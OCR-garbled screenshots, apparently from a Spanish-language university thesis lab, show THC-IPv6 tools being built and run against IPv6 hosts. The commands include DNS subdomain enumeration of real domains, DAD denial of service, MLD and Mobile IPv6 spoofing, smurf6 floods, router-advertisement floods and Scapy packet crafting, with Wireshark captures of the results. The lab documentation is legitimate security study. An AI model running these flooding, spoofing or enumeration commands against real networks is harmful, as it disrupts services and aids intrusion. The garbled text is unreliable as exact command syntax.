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jobs.google. com. => 2607: f8b0: 4008:805:
local.google. com. => 2607: f8b0:4008:806: : 1006
catalog.google. con. => 2607:8bB:4008:805: : 1005

Found 51 domain names and 23 unique ipvé addresss for google.com.
paty@paty-desktop:~$ sudo dnsdict6 google.com"C
paty@paty-desktop:~$ sudo dnsdict6 espoch.edu.ec

Starting DNS enumeration work on espoch.edu.ec.

starting enumerating espoch.edu.ec. - creating 8 threads for 798 words. ..

Estimated time to completion: 1 to 2 minutes
ftp.espoch. edu. ec.
webmail.espoch. edu.
ns1.espoch.edu. ec.
ntp.espoch. edu. ec.
. espoch . edu. ec.
ns2.espoch. edu. ec.
mirror. espoch. edu. e
dns.espoch.edu.ec. => 2800:68:a:1::3
proxy.espoch.edu.ec. => 2800:68:a:60::5
web.espoch.edu.ec. => 2800:68

EXEEEY]

£££:192.168.0.2
21

portal.espoch.edu.ec. =>
Login. espoch. edu.ec. => 2800:68:a:60:

nms..espoch.edu. ec. => 2800:68:a:60:
cisco.espoch.edu.ec. => 2800:68:a:1:
subversion.espoch.edu.ec. => 2800:68:a:60::93
correo. espoch.edu.ec. => 2800:68::60: :10

Found 19 domain names and 13 unique ipvé addresss for espoch.edu.ec.
paty@paty-desktop:~$ |

paty@paty-desktop: ~ [ *escip.txt (~/Escritori...

paty-desktop: ~

paty@paty-desktop:

lun14 deabr, 17:10 g @ paty &
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paty@paty-desktop:~$ sudo detect-new-ip6 etho
[sudo] password for paty:

Started ICMP6 DAD detection (Press Control-C to end) ...
Detected new ip6 address: :a:4:7a59:5eff: fe05: leeS
Detected new ip6 address: +:1227:65Ff: fe3b:aadc
Detected new ip6 address: 294a:664d:769a:7619
Detected new ip6 address: 94a:664d:7092:7619
Detected new ip6 address: 2800:68:a:4:7108:a113:d0f6:75a9
Detected new ip6 address: 295a:2642:79bb: e947
Detected new ip6 address: 1947:8¢82:afd:805F
Detected new ip6 address: ::7cca:7a6a:2125:98al
Detected new ip6 address 417b:82F:296d:311F
Detected new ip6 address 144: fbe7:466e:5a4
Detected new ip6 address ceof
Detected new ip6 address
Detected new ip6 address:

109d:8a0: cd56:ba1d

paty@paty-.

lun14 de abr, 17:47 1y @ paty &
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Examine y ejecute aplicaciones instaladas
patyepaty-ueskiop: ~

paty@paty-desktop:~$ detect-new-ip6 p2pl

Started ICMPG DAD detection (Press Control-C to end) ...
paty@paty-desktop:~$ sudo dos-new-ip6 ethe

[sudo] password for paty:
ICHPG DAD Denial-of-Service (Press Control-C to end) .

Started
spoofed
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existing
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existing
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existing
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ip6 as
ip6 as
ip6 as
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ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as
ip6 as

paty@paty-... [ *esciptxt(...

HEEEEEEEE

250:56FF: febl
:a:4:3cb0:a8b4:13ab:9b2c

3cbo:a8bd:
a:4:3cb0:a8b4:13ab:
227:65Ff : fe3b:aadc
942:664d:7092:7619
:68:a:4:294a:664d:709a:7619

7108:a113:dof
1642:79bb: 947
:8c82:afd:805F

4144: fbe7 : 466e:
4144: fbe7 : 466e:
:a:4:7a59:5eff: fedS:

paty@paty-.

lun14 deabr, 17:49 1y @ paty &
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Fallo de segmentacién
paty@paty-desktop:~$ |

paty@paty-desktop:~$ sudo implementation6 -5 2800:68:a:4:a00:27ff: feba:3a4 ethe

[Gestor de actuali
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paty@paty-desktop:~$ sudo fake mlds -1 etho add
sending packets for :: (Press Control-C to end)

[Gestor de actualiz:
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paty@paty-desktop:~$ sudo fake mld26 -1 etho querry
Sending packets for :: (Press Control-C to end)
Report: fe80::dcf8:6732:68e9:68c9 is listening on ff2::1:ffe9:68c9
Report is listening on ffef:desl
Report is listening on
Report is listening on d4:9bf2
Report: es is listening on ff02::1:fff7:b7ad
Report is listening on fo:
Report

Report

Report

Report

Report

Report is listening on
Report is listening on
Report is listening on
Report: i : : is listening on
Report is listening on
Report 22:64ff: fe0a:6386 is listening on ffe2 ffoa:6386
Report /9a5:f9f4:7c09:160a is listening on ffe: £09:160a
Report: ::79a5:f9f4:7c09:160a is listening on ffe2::1:ff6e:f3c9
Report is listening on
Report: : : is listening on

iffociafe

Report:
Report

::a00:27Ff:fel1:100 is listening on ff02::1:ff11:100
184:ce2:a82b:83c2 is listening on f02
184:ce2:a82b:83c2 is listening on ff02
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paty@paty-desktc

© © @ paty@paty-desktop: ~
chivo Editar Ver Terminal Ayuda

paty@paty-desktop:~$ sudo fake mipvé ethe
[sudo] password for paty
fake mipv6 v2.3 (c) 2013 by van Hauser / THC <vh@thc.org> wai.thc.org

Syntax: fake mipv6 interface home-address home-agent-address care-of-address

If the mobile IPV6 home-agent is mis-configured to accept MIPV6 updates without
IPSEC, this will redirect all packets for home-address to care-of-address
paty@paty-desktop:~$ sudo fake mipv6 eth 2800:68:a:4:a00:27ff:feba:3ad feso::a
00:27ff: feba:3a4 fe80::a00:27fF:fell:100
ERROR: Can not resolve mac address for 2800:6:
paty@paty-desktop:~$ |

:200:27Ff: feba:3ad.

1y selected)
tically selected)

255.254.0
ce:Global
ace

Texto plano v Ancho de Ia tabulacion: 8 v Ln 18, Col 18

T [W[Gestorde'actualiz.! | ip (~/Escritorio) - ge e ) paty@paty-desktop: ~ g,
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patyepaty-desktop:~$ sudo smurf6 etho -feso::a00:27ff: fell:100 B
Starting smurf6é attack against -fe80::a0@:27ff:fell:100 (Press Control-C to end)
2 i XS
~C d
paty@paty-desktop:~$ sudo smurfé ethe -feso::a@:27ff:fell:100 2
Starting smurf6é attack against -fe80::a0@:27ff:fell:100 (Press Control-C to end) k.
2 B
2
a
5 uerto
6 olitate, advertise or terminate
se puede resolver mac
anunciado -ip direccién-ip- fuente mac
e 11:100 fe80::a00:27ff:feba:3a4 p2pl
d
3
ff:fell:100
Error: Can not generate packet, exiting ...
paty@paty-desktop:~$ []
SUUU UTCPINgo T UST Z0UUTUGIaTHIauuIZ/TTITEllI 10y 7 Teou::a00:27ff: fell:100 -t -c 1000 -1 10 ethe v
Texto plano v Ancho de la tabulacién: 8 v Ln 26, Col 1 INS

T  [Gestor de actualiz... & *
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UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox - = = Administrador de tareas - =

Archivo Opciones  Vista

Procesos | Rendimiento | Historial de aplicaciones | Inicio | Usuarios | Detalles | Servicios

©© 0 paty@paty-desktop: ~

B 100%]  52% 2%

Nombre Estado CPU| Memoria| Disco
patyGpaty-desktop:~8 sudo snurf6 etho -fesd: :a60:271f: fell: 100 . =
Starting snurf6 attack against -fe80::a00:27f:fel1:100 (Press Control-C to e || Aplicaciones (8)
d) ...
nd) > {5 Administrador de tareas 05%| 105MB  OMB/s

> (5 Bxplorador de Windows 0| e@sme omes

> @ Google Chrome (32bis) 03%| casmB  O1MEs

> (] Microsoft Word (32 bits) 494MB OMB/s

> 5 Orscle VM VitualBox Mansger B5vE OMess

> Oracle VM VirtuslBox Manager LIMB  OMBss
> Oracle VM VirtuslBox Manager S42MB 01MB/s

> @l Paint 61MB  OMB/s

Procesos en segundo plano (66)

BN Actesso oftware Manager (32 bit) 45ME oMEss

BN Actesso Software Manager Agent (32 bits) 2imMe omes

$ %3 ilili

» ) Adsptador de rendimiento inverso de WM 1IMB oM
< >

[Gestor ...

(B Menos detas Finlzorares

+ 101 409 x 59 pixeles 2
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patyepaty-desktop:~$ sudo smurf6 etho -feso::a00:27ff: fell:100 B
Starting smurf6é attack against -fe80::a0@:27ff:fell:100 (Press Control-C to end)
2 i XS
~C d
paty@paty-desktop:~$ sudo smurfé ethe -feso::a@:27ff:fell:100 2
Starting smurf6é attack against -fe80::a0@:27ff:fell:100 (Press Control-C to end) k.
2 B
2
a
5 uerto
6 olitate, advertise or terminate
se puede resolver mac
anunciado -ip direccién-ip- fuente mac
e 11:100 fe80::a00:27ff:feba:3a4 p2pl
d
3
ff:fell:100
Error: Can not generate packet, exiting ...
paty@paty-desktop:~$ []
SUUU UTCPINgo T UST Z0UUTUGIaTHIauuIZ/TTITEllI 10y 7 Teou::a00:27ff: fell:100 -t -c 1000 -1 10 ethe v
Texto plano v Ancho de la tabulacién: 8 v Ln 26, Col 1 INS

T  [Gestor de actualiz... & *
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UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox - = = Administrador de tareas - =

Archivo Opciones  Vista

Procesos | Rendimiento | Historial de aplicaciones | Inicio | Usuarios | Detalles | Servicios

©© 0 paty@paty-desktop: ~

B 100%]  52% 2%

Nombre Estado CPU| Memoria| Disco
patyGpaty-desktop:~8 sudo snurf6 etho -fesd: :a60:271f: fell: 100 . =
Starting snurf6 attack against -fe80::a00:27f:fel1:100 (Press Control-C to e || Aplicaciones (8)
d) ...
nd) > {5 Administrador de tareas 05%| 105MB  OMB/s

> (5 Bxplorador de Windows 0| e@sme omes

> @ Google Chrome (32bis) 03%| casmB  O1MEs

> (] Microsoft Word (32 bits) 494MB OMB/s

> 5 Orscle VM VitualBox Mansger B5vE OMess

> Oracle VM VirtuslBox Manager LIMB  OMBss
> Oracle VM VirtuslBox Manager S42MB 01MB/s

> @l Paint 61MB  OMB/s

Procesos en segundo plano (66)

BN Actesso oftware Manager (32 bit) 45ME oMEss

BN Actesso Software Manager Agent (32 bits) 2imMe omes

$ %3 ilili

» ) Adsptador de rendimiento inverso de WM 1IMB oM
< >

[Gestor ...

(B Menos detas Finlzorares

+ 101 409 x 59 pixeles 2
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cli1 [Corriendo] - Oracle VM VirtualBox - = P
nido | = ~

M b [ 40 : Capti::wnaﬂ\d

avji@ uw*wm] Qe

UbuntuTe e Edit Analyze ol Vit e sieibels e - o
e o o1 (©) © ¥ | *F2 EE QA #@ME% 8
Filter: v Expression... Clear Apply Save -
No Time Source Destination Protocol - Lengtt - Info 52% 2% .
967522 8721.040647(2800: 68: :274f 10211 ICHPVE 78 Echo (ping) request id=Oxface, seq=47806, hop o, Disco
paty@paty-desk | 967523 8721.040665(2800: 68: :27f :a00:27f ;- ICMPVE 78 Echo (ping) reply id=oxface, seq=47806, hop li 7
Starting smurfi | 967524 8721.040681(2800: 68: :278F: TCHPVE 78 Echo (ping) request id=Oxface, seq=47806, hop
nd) . 967525 8721.040696( 2800: 68: :27f :a00:27f ;- ICMPVE 78 Echo (ping) reply id=oxface, seq=47806, hop li
Inc 967526 8721.040714( 2800: 68: :27ff: ICMPVE 78 Echo (ping) request id=Oxface, seq=47806, hop 106 MB OMB/s
paty@paty-desk | 967527 8721.040732(2800:68 :27f :a00:27f ;- ICMPVE 78 Echo (ping) reply id=oxface, seq=47806, hop li
starting smurfi | 967528 8721.040749(2800: 68: :27F: ICMPVE 78 Echo (ping) request id=Oxface, seq=47806, hop
nd) ... 967529 8721.040766( 2800: 68: :27f :a00:27f ;- ICMPVE 78 Echo (ping) reply id=oxface, seq=47806, hop li
967530 8721.040783( 2800: 68: :27ff: ICMPVE 78 Echo (ping) request id=Oxface, seq=47806, hop
967531 8721.040799( 2800: 68: :27f :a00:27f ;- ICMPVE 78 Echo (ping) reply id=oxface, seq=47806, hop li
967532 8721.040816( 2800: 68: :27ff: ICMPVE 78 Echo (ping) request id=0xface, seq=47806, hop
967533 8721.047066( 2800: 68: :27f ICMPYVE 78 Echo (ping) request id=0xface, seq=47806, hop
967534 8721.047449( 2800: 68: :27ff: ICMPVE 78 Echo (ping) request id=Oxface, seq=47806, hop
967535 8721.047468( 2800 68: :27f :a00:27f ;- ICMPVE 78 Echo (ping) reply id=oxface, seq=47806, hop li
967536 8721.047732( 2800: 68: :27ff: ICMPVE 78 Echo (ping) request id=Oxface, seq=47806, hop
967537 8721.047751(2800: 68: :27f :a00:27f ;- ICMPVE 78 Echo (ping) reply id=oxface, seq=47806, hop li
967538 8721.048177(2800: 68: :27ff: ICMPVE 78 Echo (ping) request id=0xface, seq=47806, hop
967539 8721 . 048681( 2800: 68: :27f ICMPYVE 78 Echo (ping) request i

967540 8721.048700( 2800: 68:
967541 8721.049161(2800: 68:
967542 8721.049182(2800: 68:
967543 8721.049723( 2800: 68:

:278F:
127
:278F:
: 271

:200:27FF - ICMPYS 78 Echo (ping) reply id=
IcWPve 78 Echo (ping) request i
:200:27FF - ICMPYS 78 Echo (ping) reply id=
1aWPve 78 Echo_(ping) request i

I
3 Frame 844863: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface 0
Ethernet 1T, Src: Unigraph_ad:be:ef (00:00:de:ad:be:ef), Dst: IPvemcast_00:00:00:01 (33:33:00:00:00:01)

‘ 3 Internet Protocol Version 6, Src: 2800:68:a:4:a00:27ff:feba:3a4 (2800:68:a:4:00:27ff:feba:3ad), Dst: ff02::1 (ff02::1)

Internet Control Message Protocol v6

B O & aE 0| @ Ecm omeca
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UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox - a

Administrador de tareas

Archivo Opciones  Vista

paty@paty-desktop:~$ sudo rsmurf6 ethd 2800:68:a:4:a00:27f:fell:100

s Procesos | Rendimiento | Historial de aplicaciones | Inicio | Usuarios | Detalles | Servicios
Starting rsmurf6 against 2800:68:a:4:a00:27ff:fel1:100 (Press Control-C to end)

- 100% 52% 7%

1 Nombre Estado Y| Memoria Disco
Aplicaciones (8)
] cli1 [Corriendo] - Oracle VM VirtualBox
er Dispositivos _ Ayuda 0% @6MB  OMBs
a0 Capti\.\awugu\d @ v uxnpwn) (MACL
2% TMB OMes
Fle Edit View Go Capture Analyze Telophony—Tosl—internale—Help- r o & e

© . o @ wf&ﬁ\é QQaF

Fiter: (icmpys ~! Expression... Clear A

Save

No. Time Source Destination Protocol  Lengtf * Info
844861 84T 2 78 Echo (ping) requ

844862 8477. ICWPve reply 1 5
844863 8477. IcWPve request id=Oxface, seq=47806, hop
844864 8477. IaWPve reply id=Oxface, seq=47806, hop li
844865 8477. IcWPve request id=Oxface, seq=47806, hop
844866 8477. 200:27f:-ICMPVE reply id=Oxface, seq=47806, hop li
844867 8477. IcWPve request id=Oxface, seq=47806, hop
844868 8477. 200:27f:-ICMPVE reply id=Oxface, seq=47806, hop li
844869 8477. IcWPve request id=Oxface, seq=47806, hop
844870 8477. 200:27f:-ICMPVE reply id=Oxface, seq=47806, hop li
844871 8477. IcWPve request id=Oxface, seq=47806, hop
844872 8477. 200:27f:-ICMPVE reply id=Oxface, seq=47806, hop li
844873 8477. IcWPve request id=Oxface, seq=47806, hop
844874 200:27f:-ICMPVE reply id=Oxface, seq=47806, hop li
844875 8477. IcWPve request id=Oxface, seq=47806, hop
844876 8477. IcWPve reply id=Oxface, seq=47806, hop li
844877 8477. 1cWPve request id=Oxface, seq=47806, hop
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Examine y ejecute aplicacio
@.w paty@pary-geskiop: ~

Performing vulnerability checks on fes0::a00:27ff:fel1:100 via etho:
Test : normal ping6 PASSED - we got a reply
Test 1: CVE-NONE overlarge ping, 6 checksum combinations

Warning: checksuns for packets > 65535 are unreliable due implementation differences on target platforms
Test 2: CVE-NONE large ping, 3 checksum combinations

warning: checksuns for packets > 65535 are unreliable due implementation differences on target platforms
Test 3: CVE-2003-0429 bad prefix length (little information, implementation unsure

Test 4: CVE-2004-0257 ping, send toobig on reply, then SYN pkt

Test 5: normal pingé (still alive?) PASSED - we got a reply
paty@paty-desktop:~$

[Gestor de actualiz...
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B UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox - a

Administrador de tareas
Archivo Opciones  Vista

Procesos | Rendimiento | Historial de aplicaciones | Inicio | Usuarios | Detalles | Servicios

Performing denial of service test case no. 2 attack on fe8d::a00:27ff:fell: . J—
A "." is shoun for every 100 packets sent, press Control-C to end. 00%  51% 1
Test 2: large destination header filled with unknown options. Nombre Estado | Memoa|

Aplicaciones (8)

> {7 Administrador de tareas 02%| 106MB O
> (59 xplorador de Windows 02%| 644MB 01N
> @ Google Chrome (32 bits) 03%| 618MB 01N

> (@ Microsoft Word (G2 bits) M8 o)

> Oracle VM VirtuslBox Manager a7M8 O
> Oracle VM VirtuslBox Manager 120M8 0N

o
o

% onde s [T AR
o
o
o
o

> @l Paint 00M8 O

Procesos en segundo plano (63)

BN Actesso oftware Manager (32 bit) asM8 on

BN Actesso Software Manager Agent (32 bits) 22v8 o
sudo denialé ethe fe8e::a00:27ff:fell:100

sudo theping [ af  -F dst 2800

200:27F: fe11:100 /feg0: g X7 Ailamiento de rifcos de dispositivo de aucio... TSME  ON

Textoplano v Anct <
(R) Menos detlles

[Gestor de actualiz.
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Archivo E¢ ferminal Ayuda

paty@paty-desktop:~$ sudo sendpeesé etho 2800:68:a:4:a00:27ff:feba:3a4 ::1/64 2800:68:a:4:a00:277f:fell:100 B
sending. . .[|

Archivo Opciones Vista

Procesos | Rendimiento | Historial de aplicaciones | Inicio | Usuarios | Detalles | Servicios

51%

Nombre Memoria

Aplicaciones (7)

b 5 Administrador de tareas
Explorador de Windows
© Google Chrome (2 bits)
Microsoft Word (32 bits)
§ Oracle VM VirtuslBox Manager
§ Oracle VM VirtuslBox Manager

5 Orscle VM VirtualBox Mansger

Procesos en segundo plano (63)

N Acresso Software Manager (2 bit)
N cresso Software Manager Agent (32 bits
] Aislamiento de graficos de dispositivo de audio.

b [ Andrea filters APO access service (64-bit)

16/04/2014
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UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox - a

©© 0 paty@paty-desktop: ~
Archivo E ferminal Ayuda

paty@paty-desktop:~$ sudo flood_router26 -HFD -s -RPA ethe
Starting to flood network with router advertisements on etho (Press Control-C to end, a dot is printed for every 100 packet):

Privacy extension attack done.
paty@paty-desktop:~$

[Gestor de actu
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E UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox -a

vie 1 de ago, 15:

0 1y @paty O

paty@paty-desktop:~$ scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
welcome to Scapy (2.2.0-dev)
i=1pv6 ()
i.display ()
aa[ IPVG |44
=6

[
0

None
No Next Header
= 64
1
1

[Gestor de.
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E UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox

Aplicaciones Lugares Sistema [ ‘%)@
900 paty@paty-desktop: ~
Archivo Editar Ver Terminal Ayud
File */usr/local/lib/python2.6/dist-packages/scapy/layers/inet6.py", line 195, in h2i
X = Net6(x)
File "/usr/local/lib/python2.6/dist-packages/scapy/layers/inet6.py”, line 135, in _init
mp[e]=socket .getaddrinfo(tmp[e], None, socket.AF INET6)([0][-1][6
gaierror: [Errno -5] No address associated with hostname

vie 1deago, 1550 1y @ paty

i.dst = "2001:5 co: 116c: 9d00
Traceback (most recent call last):
File "<console>", line 1, in <module>
File */usr/local/lib/python2.6/dist-packages/scapy/packet.py”, line 202, in _setattr__
self.setfieldval (attr,val)
File */usr/local/lib/python2.6/dist-packages/scapy/packet.py”, line 191, in setfieldval
self.fields[attr] = any2i(self, val)
File */usr/local/lib/python2.6/dist-packages/scapy/layers/inet6.py", line 204, in any2i
return self.h2i (pkt,x)
File "/usr/local/lib/python2.6/dist-packages/scapy/layers/inet6.py", line 195, in h2i
X = Net6(x)
File */usr/local/lib/python2.6/dist-packages/scapy/layers/inet6.py*, line 135, in _init_
tnp[0]=socket.getaddrinfo(tmp[6], None, socket.AF INET)[0][-1][0
gaierror: [Errno -5] No address associated with hostname
i.dst = "2800: 116"
i.display ()
###[ TPVG |#8%
=6

= None
No Next Header

64

2800:68:2:4:200:27fF: feba:3a4
= 2800:68:2:60::16
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Aplicaciones Lugares Sistema [ ‘%)@
© © ® paty@paty-desktop: ~
Archivo Editar Ver Terminal Ayuc

###[ ICMPV6 Echo Request l###
cho Request

vie 1deago, 16:02 1y @ paty (O

= None
= 0x0
oxe

srl (i / IC)
Traceback (most recent call last):
File "<console>", line 1, in <module>
File "/usr/local/lib/python2.6/dist-packages/scapy/sendrecv.py”, line 334, in srl
s=conf.L3socket (filter=filter, nofilter=nofilter, iface=iface
File "/usr/local/lib/python2.6/dist-packages/scapy/arch/linux.py”, line 307, in _init
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK RAW, socket.htons(type))
File "/usr/lib/python2.6/socket.py”, line 182, in _init
_sock = _realsocket(family, type, proto)
error: [Errno 1] Operation not permitted
u = UoP ()
u.display()
#a#( UDP 1###
= domain
= domain
None
None
u.dport = 4444
u.display()
#a#( UDP 1###
= domain
= 4444
None
= None

FRERpENGY tmp - N
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Aplicaciones Lugares Sistema
© © ® paty@paty-desktop: ~

Archivo Editar Ver Terminal Ayuc

vie 1deago, 16:09 1y @ paty

= domain

="www. target. con”, id=0x42)
a.ttl=12

CP(dport=[22,23,25,80,443])

c=a/b

1s(1P)
version  : BitField
ihl : BitField
tos : XByteField
len : ShortField = (None)
id : shortField 1)
flags : FlagsField 0)
frag : BitField 0)
ttl : ByteField 64)
proto : ByteEnunField 0)
chksum : XShortField None)
src : Enph None)
dst : Enph '127.0.0.1')
options : PacketListField = ([

a=IP(ttl=10)

a
<IP ttl=1e |>

a.src
'127.0.0.1°

pkt.psdunp()
Traceback (most recent call last):

File "<console>", line 1, in <module>
NameError: name 'pkt’ is not defined
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£2] UbuntuTesis10.04 clonar (parasit) [Corriendo] - Oracle VM VirtualBox

es sistema [ %)@
200 paty@paty-desktop: ~
Archivo Editar Ver Terminal Ayuda
. ICHPVBEChoRequest (data = Randstring (7)), verbos B

Aplicaciones []

(3 Aplicaciones Lugz vie 1deago, 17:08 ty @paty

Mis muestras
para entornos

1Pv6 ICMP

solicitud ipv6 " oq)

File "<console>", line 7
e=0)

SyntaxError: invalid syntax

o

KeyboardInterrupt
X a.src
encaminar 10s Traceback (most recent call last):

File "<console>", line 1, in <module>
NameError: name ‘a’ is not defined
25T > a.disable
.2aaz; Traceback (most recent call last):

S File "<console>", line 1, in <module>
= = (: NameError: name ‘'a’ is not defined

a.display()
Routing Heade Traceback (most recent call last):
File "<console>", line 1, in <module>

2 = ==X NameError: name ‘a’ is not defined
IeveExt

=1
.dst =

LA

s i=1pv6 ()
IcMEver .dst = "2800:68:a:1::2"
a-sxe h = IPv6ExtHdrRouting ()
herzme h.addresses = ["2008: 68: 1 2","2008: 68: : 2","2008: 68
dead :: 2]
waypoir ICHPV6EChoRequest ()

arget
o

P
pa=(i/h/p)
1

P [tmp - Nave... '] paty@paty-... g,

mE
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C | @ httpsy//www.google.com/intl/es/ipvé/statistics.htm

Descripcion general -
Estadisticas

Preguntas frecuentes

Google recopila estadisticas sobre la adopcion de IPV6 en Intemet de forma continua. Esperamos que la
publicacion de esta informacin sirva de ayuda a proveedores de Intemet, propietarios de sitios web y
legisladores a medida que el sector desarrolla IPV6.

Estadisticas

Adopcion de IPV6  Adopcion de IPV6 por pais

Adopcién de IPve

Siempre estamos evaluando la disponibilidad de la conectividad de IPv6 entre usuarios de Google. En este gréfico, se muestra el
porcentaje de usuarios que acceden a Google a través de IPV6.
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10.00%
9.00%
8.00%
7.00%
£.00%
5.00%
4.00%
3.00%

2.00%

1.00%]

Jan 2011 Jan 2012 Jan2013  Jan2014  Jan2015





image8.jpeg
. espoch.edu.ec ww evirtual espoch ed ec

- meei(
Externo FortiGate 400A

DTIC




image9.png
RED IPv6 ESPOCH

RED Edicio FEE

W .
Externo Firewall
ASA 5500 - IPSDTIC





image10.png
( CI_Usuario character varying(10) « pk nn »)
Ousuario  character varying(50)
O password _ character varying(50)

tipoVulnerabilidad
(n icTipoVulnerabilidad integer «pk»
O descripcion character varying(50)

(= icVulnerabilidad integer «pknn»
O nombreVulnerabiidad character varying(80)
% tipoVulnerabilidad __integer

(n idEncuesta serial
O fecha date
O descripcion_character varying(100)

«pk»

hitorialAtaques

(n idA taque integer «pk»)
O comando character varying(100)

% vulnerabilidedAtaque integer <k
0 archivoAd

character varying(100)
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<(3 Aplicaciones Lugares Sistema

@) [ vie15de nov, 15:46

desitel ()

THC-IPV6 - atacar el conjunto de protocolos IPV6 - Mozi

Firefox

L))

Archivo Editar Ver Historial
|3 THC-IPVG - atacar el conjunto

[

Marcadores  Herramientas Ayuda

[oxoa]

Docunentacién [0x05]

[oxos]

Mas visitadosv @ Getting Started

2] files//home/paty/Documentos/TH{()

nplenentationsd; escuchar et
- Fake_nldé: anunciarse en un g
- Fake_n1d26: 1o mismo pero para)
- Fake_nldrouters: mensajes de

- Fake_mipve: robar un IP -au113
- Fake_advertisers: anunciarse

- snurfe: pitufo locales
- Rsnurfé: retirado pitufo, conof
- Sendpeesé: una herranienta por|
- Theping6: envia un paquete a mg
[Y unos 30 nés herranientas para

Instalacién

THC-TPV6 requiere archivos de des
archivos de desarrollo libopenss

Para Debian / Ubunut, puede instq
[Ysudo t install Lib

Para conpilar simplemente escril
§ Make

Todas las herramientas se instals
$ Sudo make install

desite@ESPDTISVCNIS: =
Archivo Editar Ver Terminal Ayuda
desitelQESPDTISVCNI9:~$ Sudo apt-get install libpcap-dev 1ibssl-deld
No se ha encontrado la orden «Sudo», quizas quiso deci
La orden «sudo» del paquete «sudo» (main)

La orden «sudo» del paquete «sudo-ldap» (universe)

La orden «udo» del paquete «udo» (universe)
Sudo: orden no encontrada
desitelGESPDTISVCN19:~$ sudo apt-get install libpcap-dev libssl-dev
[sudo] password for desitel:
Leyendo lista de paquetes...
Creando arbol de dependencias
Leyendo 1a informacion de estado... Hecho
Se instalaran los siguientes paquetes extras:

Libpcape.8-dev 1ibssl0.9.8 zliblg-dev
Se instalaran los siguientes paquetes NUEVOS

Libpcap-dev libpcapo.8-dev libssl-dev zliblg-dev
Se actualizaran los siguientes paguetes:

1ibss10.9.8
1 actualizados, 4 se instalaran, 0 para eliminar y 239 no actualizados
Necesito descargar 5444k8 de archivos.
Se utilizaran 6959kB de espacio de disco adicional después de esta operacién.
Desea continuar [S/n]? S|

Hecho

ripto

THC-TPV6 viene con una larga archivo READHE que describa el

detalles sobre la interfaz de uso

Desarrollo y Contribuciones

y biblioteca.

Sus contribuciones son mds que bienvenidos!
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Archivo Editar Ver Terminal Ayuda
desitel@ESPDTISVCN19: /home/paty/Descargass sudo tar -zxvf thc-ipv6-2.3.tar.gz
the-ipv6-2.3/
thc-ipv6-2.3/6todtest. sh
thc-ipv6-2.3/address6. ¢
thc-ipv6-2.3/alive6.c
thc-ipv6-2.3/CHANGES
thc-ipv6-2.3/contrib/
thc-ipv6-2.3/contrib/data_structures.h
thc-ipv6-2.3/contrib/host_scan.c
thc-ipv6-2.3/contrib/host _scan.h
thc-ipv6-2.3/contrib/Makefile
thc-ipv6-2.3/contrib/spoofer.c
thc-ipv6-2.3/contrib/spoofer.h
thc-ipv6-2.3/covert_sends.c
thc-ipv6-2.3/covert_sendsd.c
thc-ipv6-2.3/denialé.c
thc-ipv6-2.3/detect-new-1p6.c
thc-ipv6-2.3/detect sniffer6.c
thc-ipv6-2.3/dnsdicts. c
thc-ipv6-2.3/dnsdicts.h
thc-ipv6-2.3/dnsrevenums. c
thc-ipv6-2.3/dnssecwalk.c
thc-ipv6-2.3/dos-new-1p6. ¢
thc-ipv6-2.3/dos_mld.sh
thc-ipv6-2.3/dump_routert.c
thc-1pv6-2.3/exploits. c
thc-ipv6-2.3/extract_hosts6.sh
thc-ipv6-2.3/extract networks6.sh
thc-ipv6-2.3/fake_advertise.c
thc-ipv6-2.3/fake_dhcps6. c
thc-ipv6-2.3/fake dnséd.c
thc-ipv6-2.3/fake_dnsupdates.c
thc-ipv6-2.3/fake mipv6.c
thc-ipv6-2.3/fake mld26.c
thc-ipv6-2.3/fake mlds.c
thc-ipv6-2.3/fake_mldroutert.c
thc-ipv6-2.3/fake pin6.c
thc-ipv6-2.3/fake_router26.c
thc-ipv6-2.3/fake_routert.c
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desitel@ESPDTISVCN1S: /home/paty/Descargass cd thc-.

pv6-2.3

desitel@ESPDTISVCN19: /home/paty/Descargas/thc-ipv6-2.3¢ make

gce -02 -
gee -02 -

HAVE_SSL.
HAVE_SSL.

o
gce -02 -D_HAVE SSL
rypto

gce -02 -D_HAVE SSL
sl -lerypto

gce -02 -D_HAVE SSL
Lerypto

gce -02 -D_HAVE SSL
Ussl -lerypto

gee -02 -D_HAVE SSL
-lssl -lcrypto
gce -02 -D_HAVE SSL
o

gce -02 -D_HAVE SSL
pto

gce -02 -D_HAVE SSL
Ussl -lcrypto

gce -02 -D_HAVE SSL
-lssl -lcrypto
gce -02 -D_HAVE SSL
pto

gce -02 -D_HAVE SSL
gce -02 -D_HAVE SSL

gce -02 -D_HAVE SSL
gcc -02 HAVE_SSL
gcc -02 HAVE_SSL
gce -02 -D_HAVE_SSL
gcc -02 HAVE_SSL
gcc -02 HAVE_SSL
gce -02 -D_HAVE SSL
gcc -02 HAVE_SSL
gcc -02 HAVE_SSL
gce -02 -D_HAVE SSL
gcc -02 HAVE_SSL

gcc -02 -D_HAVE SSL.

-0

~c -0 thc-ipv6-1ib.o the-ipv6-lib.c
parasite6 parasite6.c thc-ipvé-lib.o -lpcap -1ssl -lcrypt

dos-new-ip6 dos-new-ip6.c thc-ipv6-lib.o -lpcap -lssl -lc
detect-new-ip6 detect-new-ips.c thc-ipv6-1ib.o -lpcap -ls
fake_routert fake_router6.c thc-ipv6-1ib.o -lpcap -lssl -
fake_advertise6 fake advertises.c thc-ipvé-1ib.o -lpcap -
fake_solicitate6 fake solicitates.c thc-ipv6-lib.o -lpcap
fake_mld6 fake mlds.c thc-ipv6-lib.o -lpcap -lssl -lcrypt
fake_mld26 fake mld26.c thc-ipv6-lib.o -lpcap -1ssl -lcry
fake mldrouter6 fake mldrouters.c thc-ipv6-1ib.o -lpcap -
flood_mldrouters flood mldrouter6.c thc-ipv6-lib.o -lpcap
fake_mipv6 fake mipvé.c thc-ipve-lib.o -lpcap -1ssl -lcry

